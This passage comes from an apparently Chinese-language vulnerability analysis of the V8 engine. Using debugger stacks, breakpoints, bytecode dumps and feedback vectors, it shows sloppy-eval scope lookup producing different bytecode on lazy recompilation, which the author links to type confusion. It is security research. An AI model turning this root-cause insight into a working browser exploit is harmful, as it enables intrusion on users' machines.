libv8.so!v8::internal::(anonymous namespace)::GetSharedFunctionInfoForScriptImpl(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::Extension * extension, v8::internal::AlignedCachedData * cached_data, v8::internal::BackgroundDeserializeTask * deserialize_task, v8::ScriptCompiler::CompileOptions compile_options, v8::ScriptCompiler::NoCacheReason no_cache_reason, v8::internal::NativesFlag natives) (src/codegen/compiler.cc:3555)
libv8.so!v8::internal::Compiler::GetSharedFunctionInfoForScript(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::String> source, const v8::internal::ScriptDetails & script_details, v8::ScriptCompiler::CompileOptions compile_options, v8::ScriptCompiler::NoCacheReason no_cache_reason, v8::internal::NativesFlag natives) (src/codegen/compiler.cc:3580)
libv8.so!v8::ScriptCompiler::CompileUnboundInternal(v8::Isolate * v8_isolate, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options, v8::ScriptCompiler::NoCacheReason no_cache_reason) (src/api/api.cc:2687)
libv8.so!v8::ScriptCompiler::Compile(v8::Local<v8::Context> context, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options, v8::ScriptCompiler::NoCacheReason no_cache_reason) (src/api/api.cc:2716)
v8::(anonymous namespace)::Compile<v8::Script>(v8::Local<class v8::Context> context, v8::ScriptCompiler::Source * source, v8::ScriptCompiler::CompileOptions options) (src/d8/d8.cc:615)
v8::Shell::CompileString<v8::Script>(v8::Isolate * isolate, v8::Local<class v8::Context> context, v8::Local<class v8::String> source, const v8::ScriptOrigin & origin) (src/d8/d8.cc:650)
v8::Shell::ExecuteString(v8::Isolate * isolate, v8::Local<class v8::String> source, v8::Local<class v8::String> name, v8::Shell::PrintResult print_result, v8::Shell::ReportExceptions report_exceptions, v8::Shell::ProcessMessageQueue process_message_queue) (src/d8/d8.cc:855)
v8::SourceGroup::Execute(v8::SourceGroup * this, v8::Isolate * isolate) (src/d8/d8.cc:4431)
v8::Shell::RunMain(v8::Isolate * isolate, bool last_run) (src/d8/d8.cc:5163)
v8::Shell::Main(int argc, char ** argv) (src/d8/d8.cc:5946)
main(int argc, char ** argv) (src/d8/d8.cc:6038)
libc.so.6!__libc_start_call_main(int (*)(int, char **, char **) main, int argc, char ** argv) (out/x64.debug/sysdeps/nptl/libc_start_call_main.h:58)
libc.so.6!__libc_start_main_impl(int (*)(int, char **, char **) main, int argc, char ** argv, int (*)(int, char **, char **) init, void (*)(void) fini, void (*)(void) rtld_fini, void * stack_end) (out/x64.debug/csu/libc-start.c:392)
_start (Unknown Source:0)
第二次變量查找及分配

初始進入Scope::Lookup時,對應的scope作用域類型仍然是v8::internal::CLASS_SCOPE ,也就代表該作用域是class b3所對應的作用域。

注意??:在第二次進行變量查找時,scope迭代為其上層作用域一次后,scope的類型為v8::internal::FUNCTION_SCOPE ,對應的是lambda表達式的作用域,其sloppy_eval標記為true。

image

在當前作用域中,沒有查找到對應的變量。但對于帶有sloppy_eval標記的作用域,有一個單獨的查找函數LookupSloppyEval ,進入該分支:

image

進入LookupSloppyEval 后,首先選擇當前作用域的外層作用域的可存放var聲明變量的作用域作為變量查找/創建的可能位置,以避免其他可能的副作用:

image

該entry_cache就是腳本級作用域:

image

接下來,調用Lookup函數,以lambda表達式的外層塊級作用域作為迭代的初始作用域,進行正常的查找:

image

查找的結果仍然是未找到,因此在最外層的腳本級作用域新建一個DynamicGlobal變量,并返回給上層的LookupSloppyEval函數。

image

接下來,cache_scope被賦值為scope,都對應lambda表達式的作用域:

image

接下來,最關鍵的一步是:此時變量aa是一個全局變量,符合該分支條件,因此進入該分支。

根據代碼中的注釋所述:一個變量綁定可能在外層作用域中發現,但當前作用域有一個sloppy_eval標記,這使得eval可能在當前作用域中新建一個與外層作用域變量同名的變量,從而對外層作用域的變量產生屏蔽作用。

image

因此,為了解決這一問題,當前作用域的變量被聲明為在需要用到時繼續向上層作用域進行動態查找VariableLocation::LOOKUP 。這與我們第二次字節碼生成時所遇到的情況相符。

image

調用棧:

libv8.so!v8::internal::Scope::NonLocal(v8::internal::Scope * this, const v8::internal::AstRawString * name, v8::internal::VariableMode mode) (src/ast/scopes.cc:2065)
libv8.so!v8::internal::Scope::LookupSloppyEval(v8::internal::VariableProxy * proxy, v8::internal::Scope * scope, v8::internal::Scope * outer_scope_end, v8::internal::Scope * cache_scope, bool force_context_allocation) (src/ast/scopes.cc:2264)
libv8.so!v8::internal::Scope::Lookup<(v8::internal::Scope::ScopeLookupMode)0>(v8::internal::VariableProxy * proxy, v8::internal::Scope * scope, v8::internal::Scope * outer_scope_end, v8::internal::Scope * cache_scope, bool force_context_allocation) (src/ast/scopes.cc:2150)
libv8.so!v8::internal::Scope::ResolveVariable(v8::internal::Scope * this, v8::internal::VariableProxy * proxy) (src/ast/scopes.cc:2281)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2383)
libv8.so!v8::internal::Scope::ResolveVariablesRecursively(v8::internal::Scope * this, v8::internal::Scope * end) (src/ast/scopes.cc:2389)
libv8.so!v8::internal::DeclarationScope::AllocateVariables(v8::internal::DeclarationScope * this, v8::internal::ParseInfo * info) (src/ast/scopes.cc:1367)
libv8.so!v8::internal::DeclarationScope::Analyze(v8::internal::ParseInfo * info) (src/ast/scopes.cc:714)
libv8.so!v8::internal::Parser::PostProcessParseResult<v8::internal::Isolate>(v8::internal::Parser * this, v8::internal::Isolate * isolate, v8::internal::ParseInfo * info, v8::internal::FunctionLiteral * literal) (src/parsing/parser.cc:721)
libv8.so!v8::internal::Parser::ParseFunction(v8::internal::Parser * this, v8::internal::Isolate * isolate, v8::internal::ParseInfo * info, v8::internal::Handle<v8::internal::SharedFunctionInfo> shared_info) (src/parsing/parser.cc:929)
libv8.so!v8::internal::parsing::ParseFunction(v8::internal::ParseInfo * info, v8::internal::Handle<v8::internal::SharedFunctionInfo> shared_info, v8::internal::Isolate * isolate, v8::internal::parsing::ReportStatisticsMode mode) (src/parsing/parsing.cc:88)
libv8.so!v8::internal::parsing::ParseAny(v8::internal::ParseInfo * info, v8::internal::Handle<v8::internal::SharedFunctionInfo> shared_info, v8::internal::Isolate * isolate, v8::internal::parsing::ReportStatisticsMode mode) (src/parsing/parsing.cc:106)
libv8.so!v8::internal::Compiler::Compile(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::SharedFunctionInfo> shared_info, v8::internal::Compiler::ClearExceptionFlag flag, v8::internal::IsCompiledScope * is_compiled_scope, v8::internal::CreateSourcePositions create_source_positions_flag) (src/codegen/compiler.cc:2509)
libv8.so!v8::internal::Compiler::Compile(v8::internal::Isolate * isolate, v8::internal::Handle<v8::internal::JSFunction> function, v8::internal::Compiler::ClearExceptionFlag flag, v8::internal::IsCompiledScope * is_compiled_scope) (src/codegen/compiler.cc:2556)
libv8.so!v8::internal::__RT_impl_Runtime_CompileLazy(v8::internal::RuntimeArguments args, v8::internal::Isolate * isolate) (src/runtime/runtime-compiler.cc:64)
libv8.so!v8::internal::Runtime_CompileLazy(int args_length, v8::internal::Address * args_object, v8::internal::Isolate * isolate) (src/runtime/runtime-compiler.cc:45)
[Unknown/Just-In-Time compiled code] (Unknown Source:0)

分析總結

總結兩次編譯時字節碼生成不同的原因:由于Sloppy_eval標志的有無,兩次變量的查找走了不同的代碼路徑。其中第一次變量查找按照正常代碼路徑執行,因此生成了StaGlobal字節碼;第二次變量查找走了LookupSloppyEval函數,需要對在最外層作用域聲明的全局變量套一層代理進行訪問,因此生成了StaLookupSlot 字節碼。

前三次分析所用的全部斷點信息

Num     Type           Disp Enb Address            What
2       breakpoint     keep y   <PENDING>          accessor-assembler.cc:3356
3       breakpoint     keep y   0x00007fc7651bc216 in v8::internal::AstNodeFactory::NewAssignment(v8::internal::Token::Value, v8::internal::Expression*, v8::internal::Expression*, int) at ../../src/ast/ast.h:3192
4       breakpoint     keep y   0x00007fc765a453f7 in v8::internal::interpreter::BytecodeGenerator::BuildVariableAssignment(v8::internal::Variable*, v8::internal::Token::Value, v8::internal::HoleCheckMode, v8::internal::LookupHoistingMode) at ../../src/interpreter/bytecode-generator.cc:3737
5       breakpoint     keep y   0x00007fc765a4566f in v8::internal::interpreter::BytecodeGenerator::BuildVariableAssignment(v8::internal::Variable*, v8::internal::Token::Value, v8::internal::HoleCheckMode, v8::internal::LookupHoistingMode) at ../../src/interpreter/bytecode-generator.cc:3773
6       breakpoint     keep y   0x00007fc765a458f2 in v8::internal::interpreter::BytecodeGenerator::BuildVariableAssignment(v8::internal::Variable*, v8::internal::Token::Value, v8::internal::HoleCheckMode, v8::internal::LookupHoistingMode) at ../../src/interpreter/bytecode-generator.cc:3808
7       breakpoint     keep y   0x00007fc765a49406 in v8::internal::interpreter::BytecodeGenerator::BuildAssignment(v8::internal::interpreter::BytecodeGenerator::AssignmentLhsData const&, v8::internal::Token::Value, v8::internal::LookupHoistingMode) at ../../src/interpreter/bytecode-generator.cc:4485
    stop only if lhs_data.expr_.position_==501
8       breakpoint     keep y   <MULTIPLE>         
8.1                         y   0x00007fc7653aa4b7 in v8::internal::(anonymous namespace)::InstallUnoptimizedCode<v8::internal::Isolate>(v8::internal::UnoptimizedCompilationInfo*, v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::Isolate*) at ../../src/codegen/compiler.cc:689
8.2                         y   0x00007fc7653af987 in v8::internal::(anonymous namespace)::InstallUnoptimizedCode<v8::internal::LocalIsolate>(v8::internal::UnoptimizedCompilationInfo*, v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::LocalIsolate*) at ../../src/codegen/compiler.cc:689
9       breakpoint     keep y   <MULTIPLE>         
9.1                         y   0x00007fc765fe2d1b in v8::internal::ExpressionScope<v8::internal::ParserTypes<v8::internal::Parser> >::NewVariable(v8::internal::AstRawString const*, int) at ../../src/parsing/expression-scope.h:54
9.2                         y   0x00007fc76602b3fb in v8::internal::ExpressionScope<v8::internal::ParserTypes<v8::internal::PreParser> >::NewVariable(v8::internal::AstRawString const*, int) at ../../src/parsing/expression-scope.h:54
10      breakpoint     keep y   <PENDING>          interpreter-generator.cc:520
11      breakpoint     keep y   <MULTIPLE>         
11.1                        y   0x00007fc765aa4e6d in v8::internal::interpreter::InterpreterCompilationJob::DoFinalizeJobImpl<v8::internal::Isolate>(v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::Isolate*) at ../../src/interpreter/interpreter.cc:292
11.2                        y   0x00007fc765aa527d in v8::internal::interpreter::InterpreterCompilationJob::DoFinalizeJobImpl<v8::internal::LocalIsolate>(v8::internal::Handle<v8::internal::SharedFunctionInfo>, v8::internal::LocalIsolate*) at ../../src/interpreter/interpreter.cc:292
12      breakpoint     keep y   0x00007fc76586571b in v8::internal::MarkCompactCollector::FlushBytecodeFromSFI(v8::internal::SharedFunctionInfo) at ../../src/heap/mark-compact.cc:3160
13      breakpoint     keep y   0x00007fc765863167 in v8::internal::MarkCompactCollector::ProcessOldCodeCandidates() at ../../src/heap/mark-compact.cc:3230
14      breakpoint     keep y   <MULTIPLE>         
14.1                        y   0x00007fc765fed9fa in v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:1997
14.2                        y   0x00007fc766027876 in v8::internal::ParserBase<v8::internal::PreParser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:1997
15      breakpoint     keep y   <MULTIPLE>         
15.1                        y   0x00007fc765fedb0f in v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:2006
15.2                        y   0x00007fc76602798b in v8::internal::ParserBase<v8::internal::PreParser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:2006
16      breakpoint     keep y   <MULTIPLE>         
16.1                        y   0x00007fc765fedb7e in v8::internal::ParserBase<v8::internal::Parser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:2012
16.2                        y   0x00007fc7660279fc in v8::internal::ParserBase<v8::internal::PreParser>::ParsePrimaryExpression() at ../../src/parsing/parser-base.h:2012
17      breakpoint     keep y   <MULTIPLE>         
    stop only if expr_pos==501
17.1                        y   0x00007fc765fef859 in v8::internal::ParserBase<v8::internal::Parser>::ParseExpressionCoverGrammar() at ../../src/parsing/parser-base.h:2078
17.2                        y   0x00007fc76602a471 in v8::internal::ParserBase<v8::internal::PreParser>::ParseExpressionCoverGrammar() at ../../src/parsing/parser-base.h:2078
18      breakpoint     keep y   0x00007fc7661bd34e in v8::internal::__RT_impl_Runtime_CompileLazy(v8::internal::Arguments<(v8::internal::ArgumentsType)0>, v8::internal::Isolate*) at ../../src/runtime/runtime-compiler.cc:49
19      breakpoint     keep y   0x00007fc7662898ae in v8::internal::DebugPrintImpl(v8::internal::MaybeObject, std::Cr::basic_ostream<char, std::Cr::char_traits<char> >&) at ../../src/runtime/runtime-test.cc:1085
20      breakpoint     keep y   0x00007fc7651b0605 in v8::internal::Scope::Snapshot::Reparent(v8::internal::DeclarationScope*) at ../../src/ast/scopes.cc:888
21      breakpoint     keep y   0x00007fc7651aaecd in v8::internal::Scope::LookupInScopeInfo(v8::internal::AstRawString const*, v8::internal::Scope*) at ../../src/ast/scopes.cc:977
22      breakpoint     keep y   <MULTIPLE>         
22.1                        y   0x00007fc7651ba2f9 in v8::internal::Scope::Lookup<(v8::internal::Scope::ScopeLookupMode)0>(v8::internal::VariableProxy*, v8::internal::Scope*, v8::internal::Scope*, v8::internal::Scope*, bool) at ../../src/ast/scopes.cc:2150
22.2                        y   0x00007fc7651ba94a in v8::internal::Scope::Lookup<(v8::internal::Scope::ScopeLookupMode)1>(v8::internal::VariableProxy*, v8::internal::Scope*, v8::internal::Scope*, v8::internal::Scope*, bool) at ../../src/ast/scopes.cc:2150
23      breakpoint     keep y   <MULTIPLE>         
23.1                        y   0x00007fc7651ba3f1 in v8::internal::Scope::Lookup<(v8::internal::Scope::ScopeLookupMode)0>(v8::internal::VariableProxy*, v8::internal::Scope*, v8::internal::Scope*, v8::internal::Scope*, bool) at ../../src/ast/scopes.cc:2174
23.2                        y   0x00007fc7651ba9a4 in v8::internal::Scope::Lookup<(v8::internal::Scope::ScopeLookupMode)1>(v8::internal::VariableProxy*, v8::internal::Scope*, v8::internal::Scope*, v8::internal::Scope*, bool) at ../../src/ast/scopes.cc:2174
24      breakpoint     keep y   0x00007fc7651ab80e in v8::internal::Scope::LookupSloppyEval(v8::internal::VariableProxy*, v8::internal::Scope*, v8::internal::Scope*, v8::internal::Scope*, bool) at ../../src/ast/scopes.cc:2251
25      breakpoint     keep y   0x00007fc7651ab88c in v8::internal::Scope::LookupSloppyEval(v8::internal::VariableProxy*, v8::internal::Scope*, v8::internal::Scope*, v8::internal::Scope*, bool) at ../../src/ast/scopes.cc:2263
26      breakpoint     keep y   0x00007fc7651b4057 in v8::internal::Scope::ResolveVariable(v8::internal::VariableProxy*) at ../../src/ast/scopes.cc:2281
    stop only if proxy.raw_name_.literal_bytes_.start_[0] == 'a' && proxy.raw_name_.literal_bytes_.start_[1] == 'a' && proxy.raw_name_.literal_bytes_.length_ == 2
27      breakpoint     keep y   0x00007fc7651b4135 in v8::internal::Scope::ResolveTo(v8::internal::VariableProxy*, v8::internal::Variable*) at ../../src/ast/scopes.cc:2349
    stop only if var.name_.literal_bytes_.start_[0]=='a' && var.name_.literal_bytes_.start_[1]=='a' && var.name_.literal_bytes_.length_==2
28      breakpoint     keep y   0x00007fc7651b6eab in v8::internal::Scope::AllocateVariablesRecursively()::$_0::operator()(v8::internal::Scope*) const at ../../src/ast/scopes.cc:2580
29      breakpoint     keep y   0x00007fc765fefa44 in v8::internal::Scope::Snapshot::~Snapshot() at ../../src/ast/scopes.h:129
30      breakpoint     keep y   0x00007fc7651bd3b4 in v8::internal::DeclarationScope::RecordDeclarationScopeEvalCall() at ../../src/ast/scopes.h:908
31      breakpoint     keep y   0x00007fc7651bd4e0 in v8::internal::DeclarationScope::RecordDeclarationScopeEvalCall() at ../../src/ast/scopes.h:944
32      breakpoint     keep y   0x00007fc7651c4124 in v8::internal::Scope::RecordEvalCall() at ../../src/ast/scopes.h:1369
33      breakpoint     keep y   0x00007fc765fef6a8 in v8::internal::Scope::Snapshot::Snapshot(v8::internal::Scope*) at ../../src/ast/scopes.h:1383

第四次分析:原始PoC從字節碼不一致到Type Confusion

字節碼

第一次的字節碼

[generated bytecode for function:  (0x2b780025a579 <SharedFunctionInfo>)]
Bytecode length: 141
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
         0x2b780025a836 @    0 : 83 00 01          CreateFunctionContext [0], [1]
         0x2b780025a839 @    3 : 1a fa             PushContext r0
         0x2b780025a83b @    5 : 10                LdaTheHole
         0x2b780025a83c @    6 : 25 02             StaCurrentContextSlot [2]
         0x2b780025a83e @    8 : 0b 03             Ldar a0
         0x2b780025a840 @   10 : 9d 7d             JumpIfNotUndefined [125] (0x2b780025a8bd @ 135)
         0x2b780025a842 @   12 : 81 01             CreateBlockContext [1]
         0x2b780025a844 @   14 : 1a f9             PushContext r1
         0x2b780025a846 @   16 : 10                LdaTheHole
         0x2b780025a847 @   17 : 25 02             StaCurrentContextSlot [2]
         0x2b780025a849 @   19 : 10                LdaTheHole
         0x2b780025a84a @   20 : 25 03             StaCurrentContextSlot [3]
         0x2b780025a84c @   22 : 10                LdaTheHole
         0x2b780025a84d @   23 : bf                Star5
         0x2b780025a84e @   24 : 80 03 00 02       CreateClosure [3], [0], #2
         0x2b780025a852 @   28 : c2                Star2
         0x2b780025a853 @   29 : 13 02             LdaConstant [2]
         0x2b780025a855 @   31 : c1                Star3
         0x2b780025a856 @   32 : 7c 04 00 29       CreateObjectLiteral [4], [0], #41
         0x2b780025a85a @   36 : bd                Star7
         0x2b780025a85b @   37 : 21 05 01          LdaGlobal [5], [1]**
         0x2b780025a85e @   40 : bc                Star8
         0x2b780025a85f @   41 : 61 f2 03          CallUndefinedReceiver0 r8, [3]**
         0x2b780025a862 @   44 : 33 f3 06 05       DefineNamedOwnProperty r7, [6], [5]**
         0x2b780025a866 @   48 : 14 fa 02 00       LdaContextSlot r0, [2], [0]
         0x2b780025a86a @   52 : bc                Star8
         0x2b780025a86b @   53 : 21 05 01          LdaGlobal [5], [1]**
         0x2b780025a86e @   56 : bb                Star9
         0x2b780025a86f @   57 : 62 f2 f1 07       CallUndefinedReceiver1 r8, r9, [7]**
         0x2b780025a873 @   61 : 33 f3 07 09       DefineNamedOwnProperty r7, [7], [9]**
         0x2b780025a877 @   65 : 14 fa 02 00       LdaContextSlot r0, [2], [0]
         0x2b780025a87b @   69 : bc                Star8
         0x2b780025a87c @   70 : 21 05 01          LdaGlobal [5], [1]**
         0x2b780025a87f @   73 : bb                Star9
         0x2b780025a880 @   74 : 62 f2 f1 0b       CallUndefinedReceiver1 r8, r9, [11]**
         0x2b780025a884 @   78 : 33 f3 08 0d       DefineNamedOwnProperty r7, [8], [13]**
         0x2b780025a888 @   82 : 19 f8 f6          Mov r2, r4
         0x2b780025a88b @   85 : 0b f3             Ldar r7
         0x2b780025a88d @   87 : 97 05             JumpIfToBooleanFalse [5] (0x2b780025a892 @ 92)
         0x2b780025a88f @   89 : 0c                LdaZero
         0x2b780025a890 @   90 : 8a 0f             Jump [15] (0x2b780025a89f @ 105)
         0x2b780025a892 @   92 : 0d 01             LdaSmi [1]
         0x2b780025a894 @   94 : 23 09 0f          StaGlobal [9], [15]**
         0x2b780025a897 @   97 : 0d 02             LdaSmi [2]
         0x2b780025a899 @   99 : bd                Star7
         0x2b780025a89a @  100 : 23 0a 11          StaGlobal [10], [17]**
         0x2b780025a89d @  103 : 0b f3             Ldar r7
         0x2b780025a89f @  105 : 73 f4             ToName r6
         0x2b780025a8a1 @  107 : 0b f4             Ldar r6
         0x2b780025a8a3 @  109 : 25 02             StaCurrentContextSlot [2]
         0x2b780025a8a5 @  111 : 65 29 00 f7 04    CallRuntime [DefineClass], r3-r6
         0x2b780025a8aa @  116 : 0b f8             Ldar r2
         0x2b780025a8ac @  118 : 25 03             StaCurrentContextSlot [3]
         0x2b780025a8ae @  120 : 80 0b 01 02       CreateClosure [11], [1], #2
         0x2b780025a8b2 @  124 : c1                Star3
         0x2b780025a8b3 @  125 : 32 f8 0c 13       SetNamedProperty r2, [12], [19]**
         0x2b780025a8b7 @  129 : 1b f9             PopContext r1
         0x2b780025a8b9 @  131 : 0b f8             Ldar r2
         0x2b780025a8bb @  133 : 8a 04             Jump [4] (0x2b780025a8bf @ 137)
         0x2b780025a8bd @  135 : 0b 03             Ldar a0
         0x2b780025a8bf @  137 : 25 02             StaCurrentContextSlot [2]
         0x2b780025a8c1 @  139 : 0e                LdaUndefined
         0x2b780025a8c2 @  140 : a9                Return
Constant pool (size = 13)
0x2b780025a7d9: [FixedArray] in OldSpace
 - map: 0x2b7800002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 13
           0: 0x2b780025a459 <ScopeInfo FUNCTION_SCOPE>
           1: 0x2b780025a489 <ScopeInfo CLASS_SCOPE>
           2: 0x2b780025a7b5 <FixedArray[7]>
           3: 0x2b780025a6b1 <SharedFunctionInfo b3>
           4: 0x2b780025a711 <ObjectBoilerplateDescription[7]>
           5: 0x2b7800006005 <String[4]: #eval>
           6: 0x2b78000040a5 <String[1]: #c>
           7: 0x2b78000040b5 <String[1]: #d>
           8: 0x2b78000040c5 <String[1]: #e>
           9: 0x2b780025a359 <String[2]: #aa>
          10: 0x2b780025a369 <String[2]: #bb>
          11: 0x2b780025a6e9 <SharedFunctionInfo <instance_members_initializer>>
          12: 0x2b78000071e5 <Symbol: (class_fields_symbol)>
Handler Table (size = 0)
Source Position Table (size = 0)

第二次的字節碼

[generated bytecode for function:  (0x2b780025a579 <SharedFunctionInfo>)]
Bytecode length: 141
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
         0x2b780025c4c2 @    0 : 83 00 02          CreateFunctionContext [0], [2]
         0x2b780025c4c5 @    3 : 1a fa             PushContext r0
         0x2b780025c4c7 @    5 : 10                LdaTheHole
         0x2b780025c4c8 @    6 : 25 03             StaCurrentContextSlot [3]
         0x2b780025c4ca @    8 : 0b 03             Ldar a0
         0x2b780025c4cc @   10 : 9d 7d             JumpIfNotUndefined [125] (0x2b780025c549 @ 135)
         0x2b780025c4ce @   12 : 81 01             CreateBlockContext [1]
         0x2b780025c4d0 @   14 : 1a f9             PushContext r1
         0x2b780025c4d2 @   16 : 10                LdaTheHole
         0x2b780025c4d3 @   17 : 25 02             StaCurrentContextSlot [2]
         0x2b780025c4d5 @   19 : 10                LdaTheHole
         0x2b780025c4d6 @   20 : 25 03             StaCurrentContextSlot [3]
         0x2b780025c4d8 @   22 : 10                LdaTheHole
         0x2b780025c4d9 @   23 : bf                Star5
         0x2b780025c4da @   24 : 80 03 00 02       CreateClosure [3], [0], #2
         0x2b780025c4de @   28 : c2                Star2
         0x2b780025c4df @   29 : 13 02             LdaConstant [2]
         0x2b780025c4e1 @   31 : c1                Star3
         0x2b780025c4e2 @   32 : 7c 04 00 29       CreateObjectLiteral [4], [0], #41
         0x2b780025c4e6 @   36 : bd                Star7
         0x2b780025c4e7 @   37 : 28 05 01 02       LdaLookupGlobalSlot [5], [1]**, [2]
         0x2b780025c4eb @   41 : bc                Star8
         0x2b780025c4ec @   42 : 61 f2 03          CallUndefinedReceiver0 r8, [3]**
         0x2b780025c4ef @   45 : 33 f3 06 05       DefineNamedOwnProperty r7, [6], [5]**
         0x2b780025c4f3 @   49 : 27 07 02 02       LdaLookupContextSlot [7], [2], [2]
         0x2b780025c4f7 @   53 : bc                Star8
         0x2b780025c4f8 @   54 : 28 05 07 02       LdaLookupGlobalSlot [5], [7]**, [2]
         0x2b780025c4fc @   58 : bb                Star9
         0x2b780025c4fd @   59 : 62 f2 f1 09       CallUndefinedReceiver1 r8, r9, [9]**
         0x2b780025c501 @   63 : 33 f3 08 0b       DefineNamedOwnProperty r7, [8], [11]**
         0x2b780025c505 @   67 : 27 07 02 02       LdaLookupContextSlot [7], [2], [2]
         0x2b780025c509 @   71 : bc                Star8
         0x2b780025c50a @   72 : 28 05 0d 02       LdaLookupGlobalSlot [5], [13]**, [2]
         0x2b780025c50e @   76 : bb                Star9
         0x2b780025c50f @   77 : 62 f2 f1 0f       CallUndefinedReceiver1 r8, r9, [15]**
         0x2b780025c513 @   81 : 33 f3 09 11       DefineNamedOwnProperty r7, [9], [17]**
         0x2b780025c517 @   85 : 19 f8 f6          Mov r2, r4
         0x2b780025c51a @   88 : 0b f3             Ldar r7
         0x2b780025c51c @   90 : 97 05             JumpIfToBooleanFalse [5] (0x2b780025c521 @ 95)
         0x2b780025c51e @   92 : 0c                LdaZero
         0x2b780025c51f @   93 : 8a 0c             Jump [12] (0x2b780025c52b @ 105)
         0x2b780025c521 @   95 : 0d 01             LdaSmi [1]
         0x2b780025c523 @   97 : 2c 0a 01          StaLookupSlot [10], #1
         0x2b780025c526 @  100 : 0d 02             LdaSmi [2]
         0x2b780025c528 @  102 : 2c 0b 01          StaLookupSlot [11], #1
         0x2b780025c52b @  105 : 73 f4             ToName r6
         0x2b780025c52d @  107 : 0b f4             Ldar r6
         0x2b780025c52f @  109 : 25 02             StaCurrentContextSlot [2]
         0x2b780025c531 @  111 : 65 29 00 f7 04    CallRuntime [DefineClass], r3-r6
         0x2b780025c536 @  116 : 0b f8             Ldar r2
         0x2b780025c538 @  118 : 25 03             StaCurrentContextSlot [3]
         0x2b780025c53a @  120 : 80 0c 01 02       CreateClosure [12], [1], #2
         0x2b780025c53e @  124 : c1                Star3
         0x2b780025c53f @  125 : 32 f8 0d 13       SetNamedProperty r2, [13], [19]**
         0x2b780025c543 @  129 : 1b f9             PopContext r1
         0x2b780025c545 @  131 : 0b f8             Ldar r2
         0x2b780025c547 @  133 : 8a 04             Jump [4] (0x2b780025c54b @ 137)
         0x2b780025c549 @  135 : 0b 03             Ldar a0
         0x2b780025c54b @  137 : 25 03             StaCurrentContextSlot [3]
         0x2b780025c54d @  139 : 0e                LdaUndefined
         0x2b780025c54e @  140 : a9                Return
Constant pool (size = 14)
0x2b780025c461: [FixedArray] in OldSpace
 - map: 0x2b7800002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 14
           0: 0x2b780025c2b5 <ScopeInfo FUNCTION_SCOPE>
           1: 0x2b780025c2e5 <ScopeInfo CLASS_SCOPE>
           2: 0x2b780025c43d <FixedArray[7]>
           3: 0x2b780025c339 <SharedFunctionInfo b3>
           4: 0x2b780025c399 <ObjectBoilerplateDescription[7]>
           5: 0x2b7800006005 <String[4]: #eval>
           6: 0x2b78000040a5 <String[1]: #c>
           7: 0x2b780025a339 <String[3]: #ccc>
           8: 0x2b78000040b5 <String[1]: #d>
           9: 0x2b78000040c5 <String[1]: #e>
          10: 0x2b780025c24d <String[2]: #aa>
          11: 0x2b780025c25d <String[2]: #bb>
          12: 0x2b780025c371 <SharedFunctionInfo <instance_members_initializer>>
          13: 0x2b78000071e5 <Symbol: (class_fields_symbol)>
Handler Table (size = 0)
Source Position Table (size = 0)

FeedbackVector內容

gc前

vector: DebugPrint: 0x91c0025b14d: [FeedbackVector] in OldSpace
 - map: 0x091c0000273d <Map(FEEDBACK_VECTOR_TYPE)>
 - length: 21
 - shared function info: 0x091c0025a579 <SharedFunctionInfo>
 - no optimized code
 - tiering state: TieringState::kNone
 - maybe has maglev code: 0
 - maybe has turbofan code: 0
 - invocation count: 4
 - profiler ticks: 0
 - closure feedback cell array: 0x91c0025a9d5: [ClosureFeedbackCellArray] in OldSpace
 - map: 0x091c00002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)>
 - length: 2
           0: 0x091c0025a9e5 <FeedbackCell[many closures]>
           1: 0x091c0025a9f1 <FeedbackCell[many closures]>

 - slot #0 Literal  {
     [0]: 0x091c0025b279 <AllocationSite>
  }
 - slot #1 LoadGlobalNotInsideTypeof MONOMORPHIC
   [weak] 0x091c0025442d <PropertyCell name=0x091c00006005 <String[4]: #eval> value=0x091c0024af25 <JSFunction eval (sfi = 0x91c0021dca1)>> {
     [1]: [weak] 0x091c0025442d <PropertyCell name=0x091c00006005 <String[4]: #eval> value=0x091c0024af25 <JSFunction eval (sfi = 0x91c0021dca1)>>
     [2]: 0x091c000073e5 <Symbol: (uninitialized_symbol)>
  }
 - slot #3 Call MONOMORPHIC {
     [3]: [weak] 0x091c0024af25 <JSFunction eval (sfi = 0x91c0021dca1)>
     [4]: 12
  }
 - slot #5 DefineNamedOwn MONOMORPHIC {
     [5]: [weak] 0x091c0025aa75 <Map[24](HOLEY_ELEMENTS)>
     [6]: 3604480
  }
 - slot #7 Call POLYMORPHIC {
     [7]: [weak] 0x091c0025a96d <FeedbackCell[many closures]>
     [8]: 12
  }
 - slot #9 DefineNamedOwn MONOMORPHIC {
     [9]: [weak] 0x091c0025aa75 <Map[24](HOLEY_ELEMENTS)>
     [10]: 4653120
  }
 - slot #11 Call POLYMORPHIC {
     [11]: [weak] 0x091c0025a96d <FeedbackCell[many closures]>
     [12]: 8
  }
 - slot #13 DefineNamedOwn MONOMORPHIC {
     [13]: [weak] 0x091c0025aa75 <Map[24](HOLEY_ELEMENTS)>
     [14]: 5701760
  }
 - slot #15 StoreGlobalStrict UNINITIALIZED {
     [15]: [cleared]
     [16]: 0x091c000073e5 <Symbol: (uninitialized_symbol)>
  }
 - slot #17 StoreGlobalStrict UNINITIALIZED {
     [17]: [cleared]
     [18]: 0x091c000073e5 <Symbol: (uninitialized_symbol)>
  }
 - slot #19 SetNamedStrict POLYMORPHIC
